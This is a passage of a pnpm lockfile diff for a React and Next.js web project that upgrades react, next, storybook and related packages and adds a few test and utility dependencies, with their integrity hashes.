-        version: 3.0.0(react@19.2.1)
+        version: 3.0.0(react@19.2.3)
       react-dom:
-        specifier: 19.2.1
-        version: 19.2.1(react@19.2.1)
+        specifier: 19.2.3
+        version: 19.2.3(react@19.2.3)
       react-easy-crop:
         specifier: ^5.5.3
-        version: 5.5.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 5.5.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       react-hook-form:
         specifier: ^7.65.0
-        version: 7.68.0(react@19.2.1)
+        version: 7.68.0(react@19.2.3)
       react-hotkeys-hook:
         specifier: ^4.6.2
-        version: 4.6.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 4.6.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       react-i18next:
         specifier: ^15.7.4
-        version: 15.7.4(i18next@23.16.8)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(typescript@5.9.3)
+        version: 15.7.4(i18next@23.16.8)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(typescript@5.9.3)
       react-markdown:
         specifier: ^9.1.0
-        version: 9.1.0(@types/react@19.2.7)(react@19.2.1)
+        version: 9.1.0(@types/react@19.2.7)(react@19.2.3)
       react-multi-email:
         specifier: ^1.0.25
-        version: 1.0.25(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 1.0.25(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       react-papaparse:
         specifier: ^4.4.0
         version: 4.4.0
       react-pdf-highlighter:
         specifier: 8.0.0-rc.0
-        version: 8.0.0-rc.0(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 8.0.0-rc.0(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       react-slider:
         specifier: ^2.0.6
-        version: 2.0.6(react@19.2.1)
+        version: 2.0.6(react@19.2.3)
       react-sortablejs:
         specifier: ^6.1.4
-        version: 6.1.4(@types/sortablejs@1.15.9)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sortablejs@1.15.6)
+        version: 6.1.4(@types/sortablejs@1.15.9)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sortablejs@1.15.6)
       react-syntax-highlighter:
         specifier: ^15.6.6
-        version: 15.6.6(react@19.2.1)
+        version: 15.6.6(react@19.2.3)
       react-textarea-autosize:
         specifier: ^8.5.9
-        version: 8.5.9(@types/react@19.2.7)(react@19.2.1)
+        version: 8.5.9(@types/react@19.2.7)(react@19.2.3)
       react-window:
         specifier: ^1.8.11
-        version: 1.8.11(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 1.8.11(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       reactflow:
         specifier: ^11.11.4
-        version: 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 11.11.4(@types/react@19.2.7)(immer@10.2.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       rehype-katex:
         specifier: ^7.0.1
         version: 7.0.1
@@ -333,7 +333,7 @@ importers:
         version: 1.15.6
       swr:
         specifier: ^2.3.6
-        version: 2.3.7(react@19.2.1)
+        version: 2.3.7(react@19.2.3)
       tailwind-merge:
         specifier: ^2.6.0
         version: 2.6.0
@@ -342,7 +342,7 @@ importers:
         version: 7.0.19
       use-context-selector:
         specifier: ^2.0.0
-        version: 2.0.0(react@19.2.1)(scheduler@0.26.0)
+        version: 2.0.0(react@19.2.3)(scheduler@0.26.0)
       uuid:
         specifier: ^10.0.0
         version: 10.0.0
@@ -351,20 +351,20 @@ importers:
         version: 3.25.76
       zundo:
         specifier: ^2.3.0
-        version: 2.3.0(zustand@5.0.9(@types/react@19.2.7)(immer@10.2.0)(react@19.2.1)(use-sync-external-store@1.6.0(react@19.2.1)))
+        version: 2.3.0(zustand@5.0.9(@types/react@19.2.7)(immer@10.2.0)(react@19.2.3)(use-sync-external-store@1.6.0(react@19.2.3)))
       zustand:
         specifier: ^5.0.9
-        version: 5.0.9(@types/react@19.2.7)(immer@10.2.0)(react@19.2.1)(use-sync-external-store@1.6.0(react@19.2.1))
+        version: 5.0.9(@types/react@19.2.7)(immer@10.2.0)(react@19.2.3)(use-sync-external-store@1.6.0(react@19.2.3))
     devDependencies:
       '@antfu/eslint-config':
         specifier: ^5.4.1
-        version: 5.4.1(@eslint-react/eslint-plugin@1.53.1(eslint@9.39.1(jiti@1.21.7))(ts-api-utils@2.1.0(typescript@5.9.3))(typescript@5.9.3))(@next/eslint-plugin-next@15.5.7)(@vue/compiler-sfc@3.5.25)(eslint-plugin-react-hooks@5.2.0(eslint@9.39.1(jiti@1.21.7)))(eslint-plugin-react-refresh@0.4.24(eslint@9.39.1(jiti@1.21.7)))(eslint@9.39.1(jiti@1.21.7))(typescript@5.9.3)
+        version: 5.4.1(@eslint-react/eslint-plugin@1.53.1(eslint@9.39.1(jiti@1.21.7))(ts-api-utils@2.1.0(typescript@5.9.3))(typescript@5.9.3))(@next/eslint-plugin-next@15.5.9)(@vue/compiler-sfc@3.5.25)(eslint-plugin-react-hooks@5.2.0(eslint@9.39.1(jiti@1.21.7)))(eslint-plugin-react-refresh@0.4.24(eslint@9.39.1(jiti@1.21.7)))(eslint@9.39.1(jiti@1.21.7))(typescript@5.9.3)
       '@babel/core':
         specifier: ^7.28.4
         version: 7.28.5
       '@chromatic-com/storybook':
         specifier: ^4.1.1
-        version: 4.1.3(storybook@9.1.13(@testing-library/dom@10.4.1))
+        version: 4.1.3(storybook@9.1.17(@testing-library/dom@10.4.1))
       '@eslint-react/eslint-plugin':
         specifier: ^1.53.1
         version: 1.53.1(eslint@9.39.1(jiti@1.21.7))(ts-api-utils@2.1.0(typescript@5.9.3))(typescript@5.9.3)
@@ -376,37 +376,37 @@ importers:
         version: 3.1.1(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       '@mdx-js/react':
         specifier: ^3.1.1
-        version: 3.1.1(@types/react@19.2.7)(react@19.2.1)
+        version: 3.1.1(@types/react@19.2.7)(react@19.2.3)
       '@next/bundle-analyzer':
-        specifier: 15.5.7
-        version: 15.5.7
+        specifier: 15.5.9
+        version: 15.5.9
       '@next/eslint-plugin-next':
-        specifier: 15.5.7
-        version: 15.5.7
+        specifier: 15.5.9
+        version: 15.5.9
       '@next/mdx':
-        specifier: 15.5.7
-        version: 15.5.7(@mdx-js/loader@3.1.1(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3)))(@mdx-js/react@3.1.1(@types/react@19.2.7)(react@19.2.1))
+        specifier: 15.5.9
+        version: 15.5.9(@mdx-js/loader@3.1.1(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3)))(@mdx-js/react@3.1.1(@types/react@19.2.7)(react@19.2.3))
       '@rgrove/parse-xml':
         specifier: ^4.2.0
         version: 4.2.0
       '@storybook/addon-docs':
         specifier: 9.1.13
-        version: 9.1.13(@types/react@19.2.7)(storybook@9.1.13(@testing-library/dom@10.4.1))
+        version: 9.1.13(@types/react@19.2.7)(storybook@9.1.17(@testing-library/dom@10.4.1))
       '@storybook/addon-links':
         specifier: 9.1.13
-        version: 9.1.13(react@19.2.1)(storybook@9.1.13(@testing-library/dom@10.4.1))
+        version: 9.1.13(react@19.2.3)(storybook@9.1.17(@testing-library/dom@10.4.1))
       '@storybook/addon-onboarding':
         specifier: 9.1.13
-        version: 9.1.13(storybook@9.1.13(@testing-library/dom@10.4.1))
+        version: 9.1.13(storybook@9.1.17(@testing-library/dom@10.4.1))
       '@storybook/addon-themes':
         specifier: 9.1.13
-        version: 9.1.13(storybook@9.1.13(@testing-library/dom@10.4.1))
+        version: 9.1.13(storybook@9.1.17(@testing-library/dom@10.4.1))
       '@storybook/nextjs':
         specifier: 9.1.13
-        version: 9.1.13(esbuild@0.25.0)(next@15.5.7(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0))(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0)(storybook@9.1.13(@testing-library/dom@10.4.1))(type-fest@4.2.0)(typescript@5.9.3)(uglify-js@3.19.3)(webpack-hot-middleware@2.26.1)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
+        version: 9.1.13(esbuild@0.25.0)(next@15.5.9(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0))(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0)(storybook@9.1.17(@testing-library/dom@10.4.1))(type-fest@4.2.0)(typescript@5.9.3)(uglify-js@3.19.3)(webpack-hot-middleware@2.26.1)(webpack@5.103.0(esbuild@0.25.0)(uglify-js@3.19.3))
       '@storybook/react':
         specifier: 9.1.13
-        version: 9.1.13(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(storybook@9.1.13(@testing-library/dom@10.4.1))(typescript@5.9.3)
+        version: 9.1.13(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(storybook@9.1.17(@testing-library/dom@10.4.1))(typescript@5.9.3)
       '@testing-library/dom':
         specifier: ^10.4.1
         version: 10.4.1
@@ -415,7 +415,7 @@ importers:
         version: 6.9.1
       '@testing-library/react':
         specifier: ^16.3.0
-        version: 16.3.0(@testing-library/dom@10.4.1)(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+        version: 16.3.0(@testing-library/dom@10.4.1)(@types/react-dom@19.2.3(@types/react@19.2.7))(@types/react@19.2.7)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       '@testing-library/user-event':
         specifier: ^14.6.1
         version: 14.6.1(@testing-library/dom@10.4.1)
@@ -502,7 +502,7 @@ importers:
         version: 3.0.5(eslint@9.39.1(jiti@1.21.7))
       eslint-plugin-storybook:
         specifier: ^9.1.13
-        version: 9.1.16(eslint@9.39.1(jiti@1.21.7))(storybook@9.1.13(@testing-library/dom@10.4.1))(typescript@5.9.3)
+        version: 9.1.16(eslint@9.39.1(jiti@1.21.7))(storybook@9.1.17(@testing-library/dom@10.4.1))(typescript@5.9.3)
       eslint-plugin-tailwindcss:
         specifier: ^3.18.2
         version: 3.18.2(tailwindcss@3.4.18(tsx@4.21.0)(yaml@2.8.2))
@@ -512,9 +512,15 @@ importers:
       husky:
         specifier: ^9.1.7
         version: 9.1.7
+      istanbul-lib-coverage:
+        specifier: ^3.2.2
+        version: 3.2.2
       jest:
         specifier: ^29.7.0
         version: 29.7.0(@types/node@18.15.0)(ts-node@10.9.2(@types/node@18.15.0)(typescript@5.9.3))
+      jsdom-testing-mocks:
+        specifier: ^1.16.0
+        version: 1.16.0
       knip:
         specifier: ^5.66.1
         version: 5.72.0(@types/node@18.15.0)(typescript@5.9.3)
@@ -538,13 +544,13 @@ importers:
         version: 8.5.6
       react-scan:
         specifier: ^0.4.3
-        version: 0.4.3(@types/react@19.2.7)(next@15.5.7(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(sass@1.95.0))(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(rollup@2.79.2)
+        version: 0.4.3(@types/react@19.2.7)(next@15.5.9(@babel/core@7.28.5)(@playwright/test@1.57.0)(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(sass@1.95.0))(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(rollup@2.79.2)
       sass:
         specifier: ^1.93.2
         version: 1.95.0
       storybook:
-        specifier: 9.1.13
-        version: 9.1.13(@testing-library/dom@10.4.1)
+        specifier: 9.1.17
+        version: 9.1.17(@testing-library/dom@10.4.1)
       tailwindcss:
         specifier: ^3.4.18
         version: 3.4.18(tsx@4.21.0)(yaml@2.8.2)
@@ -1887,10 +1893,10 @@ packages:
     peerDependencies:
       react: '>= 16 || ^19.0.0-rc'
 
-  '@hookform/resolvers@3.10.0':
-    resolution: {integrity: sha512-79Dv+3mDF7i+2ajj7SkypSKHhl1cbln1OGavqrsF7p6mbUv11xpqpacPsGDCTRvCSjEEIez2ef1NveSVL3b0Ag==}
+  '@hookform/resolvers@5.2.2':
+    resolution: {integrity: sha512-A/IxlMLShx3KjV/HeTcTfaMxdwy690+L/ZADoeaTltLx+CVuzkeVIPuybK3jrRfw7YZnmdKsVVHAlEPIAEUNlA==}
     peerDependencies:
-      react-hook-form: ^7.0.0
+      react-hook-form: ^7.55.0
 
   '@humanfs/core@0.19.1':
     resolution: {integrity: sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==}
@@ -2374,17 +2380,17 @@ packages:
   '@neoconfetti/react@1.0.0':
     resolution: {integrity: sha512-klcSooChXXOzIm+SE5IISIAn3bYzYfPjbX7D7HoqZL84oAfgREeSg5vSIaSFH+DaGzzvImTyWe1OyrJ67vik4A==}
 
-  '@next/bundle-analyzer@15.5.7':
-    resolution: {integrity: sha512-bKCGI9onUYyLaAQKvJOTeSv1vt3CYtF4Or+CRlCP/1Yu8NR9W4A2kd4qBs2OYFbT+/38fKg8BIPNt7IcMLKZCA==}
+  '@next/bundle-analyzer@15.5.9':
+    resolution: {integrity: sha512-lT1EBpFyGVN9u8M43f2jE78DsCu0A5KPA5OkF5PdIHrKDo4oTJ4lUQKciA9T2u9gccSXIPQcZb5TYkHF4f8iiw==}
 
-  '@next/env@15.5.7':
-    resolution: {integrity: sha512-4h6Y2NyEkIEN7Z8YxkA27pq6zTkS09bUSYC0xjd0NpwFxjnIKeZEeH591o5WECSmjpUhLn3H2QLJcDye3Uzcvg==}
+  '@next/env@15.5.9':
+    resolution: {integrity: sha512-4GlTZ+EJM7WaW2HEZcyU317tIQDjkQIyENDLxYJfSWlfqguN+dHkZgyQTV/7ykvobU7yEH5gKvreNrH4B6QgIg==}
 
-  '@next/eslint-plugin-next@15.5.7':
-    resolution: {integrity: sha512-DtRU2N7BkGr8r+pExfuWHwMEPX5SD57FeA6pxdgCHODo+b/UgIgjE+rgWKtJAbEbGhVZ2jtHn4g3wNhWFoNBQQ==}
+  '@next/eslint-plugin-next@15.5.9':
+    resolution: {integrity: sha512-kUzXx0iFiXw27cQAViE1yKWnz/nF8JzRmwgMRTMh8qMY90crNsdXJRh2e+R0vBpFR3kk1yvAR7wev7+fCCb79Q==}
 
-  '@next/mdx@15.5.7':
-    resolution: {integrity: sha512-ao/NELNlLQkQMkACV0LMimE32DB5z0sqtKL6VbaruVI3LrMw6YMGhNxpSBifxKcgmMBSsIR985mh4CJiqCGcNw==}
+  '@next/mdx@15.5.9':
+    resolution: {integrity: sha512-qG9GUKUMpnyD5vU+wNGFNsVDxuSdmYDaCEsScPNPIiplzfNSS7VZk1G2yQ2tgXz6KjFncdaqJPuDehFqFy/gjQ==}
     peerDependencies:
       '@mdx-js/loader': '>=0.15.0'
       '@mdx-js/react': '>=0.15.0'
@@ -3193,6 +3199,9 @@ packages:
   '@sinonjs/fake-timers@10.3.0':
     resolution: {integrity: sha512-V4BG07kuYSUkTCSBHG8G8TNhM+F19jXFWnQtzj+we8DrkpSBCee9Z3Ms8yiGer/dlmhe35/Xdgyo3/0rQKg7YA==}
 
+  '@standard-schema/utils@0.3.0':
+    resolution: {integrity: sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g==}
+
   '@storybook/addon-docs@9.1.13':
     resolution: {integrity: sha512-V1nCo7bfC3kQ5VNVq0VDcHsIhQf507m+BxMA5SIYiwdJHljH2BXpW2fL3FFn9gv9Wp57AEEzhm+wh4zANaJgkg==}
     peerDependencies:
@@ -4187,6 +4196,9 @@ packages:
     resolution: {integrity: sha512-aVNobHnJqLiUelTaHat9DZ1qM2w0C0Eym4LPI/3JxOnSokGVdsl1T1kN7TFvsEAD8G47A6VKQ0TVHqbBnYMJlQ==}
     engines: {node: '>=12.0.0'}
 
+  bezier-easing@2.1.0:
+    resolution: {integrity: sha512-gbIqZ/eslnUFC1tjEvtz0sgx+xTK20wDnYMIA27VA04R7w6xxXQPZDbibjA9DTWZRA2CXtwHykkVzlCaAJAZig==}
+
   big.js@5.2.2:
     resolution: {integrity: sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==}
 
@@ -4434,9 +4446,6 @@ packages:
   classnames@2.3.1:
     resolution: {integrity: sha512-OlQdbZ7gLfGarSqxesMesDa5uz7KFbID8Kpq/SxIoNGDqY8lSYs0D+hhtBXhcdB3rcbXArFr7vlHheLk1voeNA==}
 
-  classnames@2.5.1:
-    resolution: {integrity: sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==}
-
   clean-css@5.3.3:
     resolution: {integrity: sha512-D5J+kHaVb/wKSFcyyV75uCn8fiY4sV38XJoe4CUyGQ+mOU/fMVYUdH1hJC+CJQ5uY3EnW27SbJYS4X8BiLrAFg==}
     engines: {node: '>= 10.0'}
@@ -4657,6 +4666,9 @@ packages:
       webpack:
         optional: true
 
+  css-mediaquery@0.1.2:
+    resolution: {integrity: sha512-COtn4EROW5dBGlE/4PiKnh6rZpAPxDeFLaEEwt4i10jpDMFt2EhQGS79QmmrO+iKCHv0PU/HrOWEhijFd1x99Q==}
+
   css-select@4.3.0:
     resolution: {integrity: sha512-wPpOYtnsVontu2mODhA19JrqWxNsfdatRKd64kmpRbQgh1KtItko5sTnEpPdpSaJszTOhEMlF/RPz28qj4HqhQ==}
 
@@ -6314,6 +6326,10 @@ packages:
     resolution: {integrity: sha512-F9GQ+F1ZU6qvSrZV8fNFpjDNf614YzR2eF6S0+XbDjAcUI28FSoXnYZFjQmb1kFx3rrJb5PnxUH3/Yti6fcM+g==}
     engines: {node: '>=12.0.0'}
 
+  jsdom-testing-mocks@1.16.0:
+    resolution: {integrity: sha512-wLrulXiLpjmcUYOYGEvz4XARkrmdVpyxzdBl9IAMbQ+ib2/UhUTRCn49McdNfXLff2ysGBUms49ZKX0LR1Q0gg==}
+    engines: {node: '>=14'}
+
   jsesc@3.0.2:
     resolution: {integrity: sha512-xKqzzWXDttJuOcawBt4KnKHHIf5oQ/Cxax+0PWFG+DFDgHNAdi+TXECADI+RYiFUMmx8792xsMbbgXj4CwnP4g==}
     engines: {node: '>=6'}
@@ -6428,8 +6444,8 @@ packages:
   lexical@0.38.2:
     resolution: {integrity: sha512-JJmfsG3c4gwBHzUGffbV7ifMNkKAWMCnYE3xJl87gty7hjyV5f3xq7eqTjP5HFYvO4XpjJvvWO2/djHp5S10tw==}
 
-  lib0@0.2.114:
-    resolution: {integrity: sha512-gcxmNFzA4hv8UYi8j43uPlQ7CGcyMJ2KQb5kZASw6SnAKAf10hK12i2fjrS3Cl/ugZa5Ui6WwIu1/6MIXiHttQ==}
+  lib0@0.2.115:
+    resolution: {integrity: sha512-noaW4yNp6hCjOgDnWWxW0vGXE3kZQI5Kqiwz+jIWXavI9J9WyfJ9zjsbQlQlgjIbHBrvlA/x3TSIXBUJj+0L6g==}
     engines: {node: '>=16'}
     hasBin: true
 
@@ -6886,9 +6902,10 @@ packages:
       react: ^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc
       react-dom: ^16.8 || ^17 || ^18 || ^19 || ^19.0.0-rc
 
-  next@15.5.7:
-    resolution: {integrity: sha512-+t2/0jIJ48kUpGKkdlhgkv+zPTEOoXyr60qXe68eB/pl3CMJaLeIGjzp5D6Oqt25hCBiBTt8wEeeAzfJvUKnPQ==}
+  next@15.5.9:
+    resolution: {integrity: sha512-agNLK89seZEtC5zUHwtut0+tNrc0Xw4FT/Dg+B/VLEo9pAcS9rtTKpek3V6kVcVwsB2YlqMaHdfZL4eLEVYuCg==}
     engines: {node: ^18.18.0 || ^19.8.0 || >= 20.0.0}
+    deprecated: This version has a security vulnerability. Please upgrade to a patched version. See https://nextjs.org/blog/security-update-2025-12-11 for more details.
     hasBin: true
     peerDependencies:
       '@opentelemetry/api': ^1.1.0
@@ -7463,10 +7480,10 @@ packages:
     resolution: {integrity: sha512-hlSJDQ2synMPKFZOsKo9Hi8WWZTC7POR8EmWvTSjow+VDgKzkmjQvFm2fk0tmRw+f0vTOIYKlarR0iL4996pdg==}
     engines: {node: '>=16.14.0'}
 
-  react-dom@19.2.1:
-    resolution: {integrity: sha512-ibrK8llX2a4eOskq1mXKu/TGZj9qzomO+sNfO98M6d9zIPOEhlBkMkBUBLd1vgS0gQsLDBzA+8jJBVXDnfHmJg==}
+  react-dom@19.2.3:
+    resolution: {integrity: sha512-yELu4WmLPw5Mr/lmeEpox5rw3RETacE++JgHqQzd2dg+YbJuat3jH4ingc+WPZhxaoFzdv9y33G+F7Nl5O0GBg==}
     peerDependencies:
-      react: ^19.2.1
+      react: ^19.2.3
 
   react-draggable@4.4.6:
     resolution: {integrity: sha512-LtY5Xw1zTPqHkVmtM3X8MUOxNDOUhv/khTgBgrUvwaS064bwVvxT+q5El0uUFNx5IEPKXuRejr7UqLwBIg5pdw==}
@@ -7638,8 +7655,8 @@ packages:
       react: ^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
       react-dom: ^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0
 
-  react@19.2.1:
-    resolution: {integrity: sha512-DGrYcCWK7tvYMnWh79yrPHt+vdx9tY+1gPZa7nJQtO/p8bLTDaHp4dzwEhQB7pZ4Xe3ok4XKuEPrVuc+wlpkmw==}
+  react@19.2.3:
+    resolution: {integrity: sha512-Ku/hhYbVjOQnXDZFv2+RibmLFGwFdeeKHFcOTlrt7xplBnya5OGn/hIRDsqDiSUcfORsDC7MPxwork8jBwsIWA==}
     engines: {node: '>=0.10.0'}
 
   reactflow@11.11.4:
@@ -8070,8 +8087,8 @@ packages:
   state-local@1.0.7:
     resolution: {integrity: sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==}
 
-  storybook@9.1.13:
-    resolution: {integrity: sha512-G3KZ36EVzXyHds72B/qtWiJnhUpM0xOUeYlDcO9DSHL1bDTv15cW4+upBl+mcBZrDvU838cn7Bv4GpF+O5MCfw==}
+  storybook@9.1.17:
+    resolution: {integrity: sha512-kfr6kxQAjA96ADlH6FMALJwJ+eM80UqXy106yVHNgdsAP/CdzkkicglRAhZAvUycXK9AeadF6KZ00CWLtVMN4w==}
     hasBin: true
     peerDependencies:
       prettier: ^2 || ^3
@@ -9094,7 +9111,7 @@ snapshots:
       idb: 8.0.0
       tslib: 2.8.1
 
-  '@antfu/eslint-config@5.4.1(@eslint-react/eslint-plugin@1.53.1(eslint@9.39.1(jiti@1.21.7))(ts-api-utils@2.1.0(typescript@5.9.3))(typescript@5.9.3))(@next/eslint-plugin-next@15.5.7)(@vue/compiler-sfc@3.5.25)(eslint-plugin-react-hooks@5.2.0(eslint@9.39.1(jiti@1.21.7)))(eslint-plugin-react-refresh@0.4.24(eslint@9.39.1(jiti@1.21.7)))(eslint@9.39.1(jiti@1.21.7))(typescript@5.9.3)':
+  '@antfu/eslint-config@5.4.1(@eslint-react/eslint-plugin@1.53.1(eslint@9.39.1(jiti@1.21.7))(ts-api-utils@2.1.0(typescript@5.9.3))(typescript@5.9.3))(@next/eslint-plugin-next@15.5.9)(@vue/compiler-sfc@3.5.25)(eslint-plugin-react-hooks@5.2.0(eslint@9.39.1(jiti@1.21.7)))(eslint-plugin-react-refresh@0.4.24(eslint@9.39.1(jiti@1.21.7)))(eslint@9.39.1(jiti@1.21.7))(typescript@5.9.3)':
     dependencies:
       '@antfu/install-pkg': 1.1.0
       '@clack/prompts': 0.11.0
@@ -9135,7 +9152,7 @@ snapshots:
       yaml-eslint-parser: 1.3.2
     optionalDependencies:
       '@eslint-react/eslint-plugin': 1.53.1(eslint@9.39.1(jiti@1.21.7))(ts-api-utils@2.1.0(typescript@5.9.3))(typescript@5.9.3)
-      '@next/eslint-plugin-next': 15.5.7
+      '@next/eslint-plugin-next': 15.5.9
       eslint-plugin-react-hooks: 5.2.0(eslint@9.39.1(jiti@1.21.7))
       eslint-plugin-react-refresh: 0.4.24(eslint@9.39.1(jiti@1.21.7))
     transitivePeerDependencies:
@@ -9992,13 +10009,13 @@ snapshots:
 
   '@chevrotain/utils@11.0.3': {}
 
-  '@chromatic-com/storybook@4.1.3(storybook@9.1.13(@testing-library/dom@10.4.1))':
+  '@chromatic-com/storybook@4.1.3(storybook@9.1.17(@testing-library/dom@10.4.1))':
     dependencies:
       '@neoconfetti/react': 1.0.0
       chromatic: 13.3.4
       filesize: 10.1.6
       jsonfile: 6.2.0
-      storybook: 9.1.13(@testing-library/dom@10.4.1)
+      storybook: 9.1.17(@testing-library/dom@10.4.1)
       strip-ansi: 7.1.2
     transitivePeerDependencies:
       - '@chromatic-com/cypress'
@@ -10447,26 +10464,26 @@ snapshots:
       '@floating-ui/core': 1.7.3
       '@floating-ui/utils': 0.2.10
 
-  '@floating-ui/react-dom@2.1.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@floating-ui/react-dom@2.1.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
       '@floating-ui/dom': 1.7.4
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
-  '@floating-ui/react@0.26.28(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@floating-ui/react@0.26.28(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@floating-ui/react-dom': 2.1.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+      '@floating-ui/react-dom': 2.1.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       '@floating-ui/utils': 0.2.10
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
       tabbable: 6.3.0
 
-  '@floating-ui/react@0.27.16(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@floating-ui/react@0.27.16(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@floating-ui/react-dom': 2.1.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
+      '@floating-ui/react-dom': 2.1.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
       '@floating-ui/utils': 0.2.10
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
       tabbable: 6.3.0
 
   '@floating-ui/utils@0.2.10': {}
@@ -10484,22 +10501,23 @@ snapshots:
       jest-mock: 29.7.0
       jest-util: 29.7.0
 
-  '@headlessui/react@2.2.1(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@headlessui/react@2.2.1(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
-      '@floating-ui/react': 0.26.28(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@react-aria/focus': 3.21.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@react-aria/interactions': 3.25.6(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      '@tanstack/react-virtual': 3.13.13(react-dom@19.2.1(react@19.2.1))(react@19.2.1)
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      '@floating-ui/react': 0.26.28(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@react-aria/focus': 3.21.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@react-aria/interactions': 3.25.6(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      '@tanstack/react-virtual': 3.13.13(react-dom@19.2.3(react@19.2.3))(react@19.2.3)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
-  '@heroicons/react@2.2.0(react@19.2.1)':
+  '@heroicons/react@2.2.0(react@19.2.3)':
     dependencies:
-      react: 19.2.1
+      react: 19.2.3
 
-  '@hookform/resolvers@3.10.0(react-hook-form@7.68.0(react@19.2.1))':
+  '@hookform/resolvers@5.2.2(react-hook-form@7.68.0(react@19.2.3))':
     dependencies:
-      react-hook-form: 7.68.0(react@19.2.1)
+      '@standard-schema/utils': 0.3.0
+      react-hook-form: 7.68.0(react@19.2.3)
 
   '@humanfs/core@0.19.1': {}
 
@@ -10913,7 +10931,7 @@ snapshots:
       lexical: 0.38.2
       prismjs: 1.30.0
 
-  '@lexical/devtools-core@0.38.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1)':
+  '@lexical/devtools-core@0.38.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3)':
     dependencies:
       '@lexical/html': 0.38.2
       '@lexical/link': 0.38.2
@@ -10921,8 +10939,8 @@ snapshots:
       '@lexical/table': 0.38.2
       '@lexical/utils': 0.38.2
       lexical: 0.38.2
-      react: 19.2.1
-      react-dom: 19.2.1(react@19.2.1)
+      react: 19.2.3
+      react-dom: 19.2.3(react@19.2.3)
 
   '@lexical/dragon@0.38.2':
     dependencies:
@@ -10997,10 +11015,10 @@ snapshots:
       '@lexical/utils': 0.38.2
       lexical: 0.38.2
 
-  '@lexical/react@0.38.2(react-dom@19.2.1(react@19.2.1))(react@19.2.1)(yjs@13.6.27)':
+  '@lexical/react@0.38.2(react-dom@19.2.3(react@19.2.3))(react@19.2.3)(yjs@13.6.27)':
     dependencies:
